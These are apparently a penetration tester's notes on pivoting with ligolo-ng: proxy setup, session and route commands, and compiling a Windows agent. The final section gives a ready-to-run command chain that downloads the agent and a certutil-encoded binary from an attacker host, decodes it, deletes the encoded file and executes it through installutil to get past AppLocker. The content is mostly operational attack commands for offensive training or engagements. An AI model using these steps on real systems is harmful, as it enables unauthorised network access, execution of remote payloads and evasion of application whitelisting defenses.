<aside> ⚠️
You can use the standard apt repos if you don’t need to do any modifications, e.g. bypassing Applocker or CLM.
</aside>
sudo apt install ligolo-ng ligolo-ng-common-binaries -y
ligolo-proxysudo ligolo-proxy -selfcert
Connect the agent
enter session and list network configuration
#in ligolo-ng
sessions
ifconfig
set route
1 hop
autoroute
start
2 hops
Clone the repository
git clone <https://github.com/nicocha30/ligolo-ng.git>
Edit the ignoreCertificate and serverAddr variables in the following file /ligolo-ng/cmd/agent/main.go
Compile the agent.exe using the following command
GOOS=windows go build -o agent.exe cmd/agent/main.go
Compile as x64 and give the name ApplockerBypassExternalBinary.exe - Github Repo
Encode the file created above with certutil
certutil.exe -encode .\\ApplockerBypassExternalBinary.exe AppLockerBypassLigolo.txt
Rename the agent.exe to ligolo-agent.exe
Serve the files (ligolo-agent.exe and AppLockerBypassLigolo.txt
Upload the files to the target
cmd.exe /c curl http:/YOUR_IP/ligolo-agent.exe -o C:\\users\\public\\try-agent.exe && curl http://YOUR_IP/AppLockerBypassLigolo.txt -o C:\\users\\public\\enc.txt && certutil -decode C:\\users\\public\\enc.txt C:\\users\\public\\ligolo.exe && del C:\\users\\public\\enc.txt && C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=true /U C:\\users\\public\\ligolo.exe